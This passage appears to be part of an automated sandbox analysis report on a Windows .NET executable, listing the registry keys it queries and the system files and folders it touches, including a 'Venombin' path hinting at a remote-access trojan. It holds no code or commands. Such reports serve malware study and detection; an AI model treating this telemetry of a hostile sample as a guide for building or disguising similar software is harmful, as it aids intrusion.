"HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "319DC449-ADA5-50F7-428E-957DB6791668"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "CLRLOADLOGDIR"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "USELEGACYV2RUNTIMEACTIVATIONPOLICYDEFAULTVALUE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "ONLYUSELATESTCLR"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "NOCLIENTCHECKS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\NET FRAMEWORK SETUP\NDP\V4\FULL"; Key: "RELEASE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "D79A203CABA18B6E1190B0022296D56F96253D4FB39B96AAAEAAA02241F28B16"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "DISABLECONFIGCACHE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "763FD754-7086-4DFE-95EB-C01A46FAF4CA"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "A669021C-C450-4609-A035-5AF59AF4DF18"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "CC2BCBBA-16B6-4CF3-8990-D74C2E8AF500"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "CACHELOCATION"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "DOWNLOADCACHEQUOTAINKB"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "ENABLELOG"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "LOGGINGLEVEL"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "FORCELOG"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "LOGFAILURES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "LOGRESOURCEBINDS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "FILEINUSERETRYATTEMPTS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "FILEINUSEMILLISECONDSBETWEENRETRIES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "USELEGACYIDENTITYFORMAT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "DISABLEMSIPEEK"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: "DEVOVERRIDEENABLE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\NGEN\POLICY\V4.0"; Key: "OPTIMIZEUSEDBINARIES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "FEATURESIMD"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "ALTJIT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT"; Key: "LATEST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT"; Key: "INDEX303"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT"; Key: "LEGACYPOLICYTIMESTAMP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "CATEGORY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "NAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "PARENTFOLDER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "DESCRIPTION"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "RELATIVEPATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "PARSINGNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "INFOTIP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "LOCALIZEDNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "ICON"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "SECURITY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "STREAMRESOURCE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "STREAMRESOURCETYPE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "LOCALREDIRECTONLY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "ROAMABLE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "PRECREATE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "STREAM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "PUBLISHEXPANDEDPATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "ATTRIBUTES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "FOLDERTYPEID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: "INITFOLDERHANDLER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: "APPDATA"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "CATEGORY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "NAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "PARENTFOLDER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "DESCRIPTION"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "RELATIVEPATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "PARSINGNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "INFOTIP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "LOCALIZEDNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "ICON"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "SECURITY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "STREAMRESOURCE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "STREAMRESOURCETYPE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "LOCALREDIRECTONLY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "ROAMABLE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "PRECREATE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "STREAM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "PUBLISHEXPANDEDPATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "ATTRIBUTES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "FOLDERTYPEID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: "INITFOLDERHANDLER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST\S-1-5-21-2092356043-4041700817-663127204-1001"; Key: "PROFILEIMAGEPATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "DEFAULT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 024"; Key: "NAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: "TYPE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: "IMAGE PATH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEPROCESSSEARCHMODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVKEYCACHEMAXITEMS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVKEYCACHEPURGEINTERVALSECONDS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVATEKEYLIFETIMESECONDS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")44:T39bc,".exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" ".exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" ".exe" trying to touch file "C:\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\System32\fltLib.dll" ".exe" trying to touch file "C:\Windows\System32\imm32.dll" ".exe" trying to touch file "C:\Windows\System32\api-ms-win-core-synch-l1-2-0.dll" ".exe" trying to touch file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" ".exe" trying to touch file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" ".exe" trying to touch file "C:\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe.config" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" ".exe" trying to touch file "C:\Windows\system32\VERSION.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" ".exe" trying to touch file "C:\Windows\system32\VCRUNTIME140_CLR0400.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" ".exe" trying to touch file "C:\Windows\system32\ucrtbase_clr0400.dll" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-quirks-l1-1-0.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" ".exe" trying to touch file "C:\Windows\system32\combase.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" ".exe" trying to touch file "C:\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" ".exe" trying to touch file "C:\Windows\system32\rpcss.dll" ".exe" trying to touch file "C:\CRYPTBASE.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTBASE.dll" ".exe" trying to touch file "\Device\KsecDD" ".exe" trying to touch file "C:\Windows\system32\uxtheme.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\Venombin\" ".exe" trying to touch file "C:\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.INI" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-xstate-l2-1-0.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" ".exe" trying to touch file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" ".exe" trying to touch file "C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" ".exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" ".exe" trying to touch file "C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" ".exe" trying to touch file "C:\Windows\system32\bcrypt.dll" ".exe" trying to touch file "C:\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\rsaenh.dll" ".exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\IMM32.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" ".exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System\0b2f69b43a576b9edcc807a30872bd91\System.ni.dll" ".exe" trying to touch file "C:\Users\%OSUSER%" ".exe" trying to touch file "C:\Users\Default\AppData\Roaming" ".exe" trying to touch file "%WINDIR%\System32\sechost.dll" ".exe" trying to touch file "%WINDIR%\Temp\VxOle32.dll" ".exe" trying to touch file "%WINDIR%\System32\fltLib.dll" ".exe" trying to touch file "%WINDIR%\System32\imm32.dll" ".exe" trying to touch file "%WINDIR%\System32\api-ms-win-core-synch-l1-2-0.dll" ".exe" trying to touch file "%WINDIR%\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" ".exe" trying to touch file "%WINDIR%\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll" ".exe" trying to touch file "C:\D79A203CABA18B6E1190B0022296D56F96253D4FB39B96AAAEAAA02241F28B16.EXE.CONFIG" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DLL" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\0b2f69b43a576b9edcc807a30872bd91\System.ni.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\0b2f69b43a576b9edcc807a30872bd91\System.ni.dll.aux" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll.aux" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" ".exe" trying to touch file "%USERPROFILE%\AppData\Roaming" ".exe" trying to touch file "%WINDIR%\System32\mscoree.dll" ".exe" trying to touch file "%WINDIR%\Temp\VxSSL32.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" ".exe" trying to touch file "%WINDIR%\System32\MSCOREE.DLL.LOCAL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" ".exe" trying to touch file "%WINDIR%\System32\version.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" ".exe" trying to touch file "%WINDIR%\System32\vcruntime140_clr0400.dll" 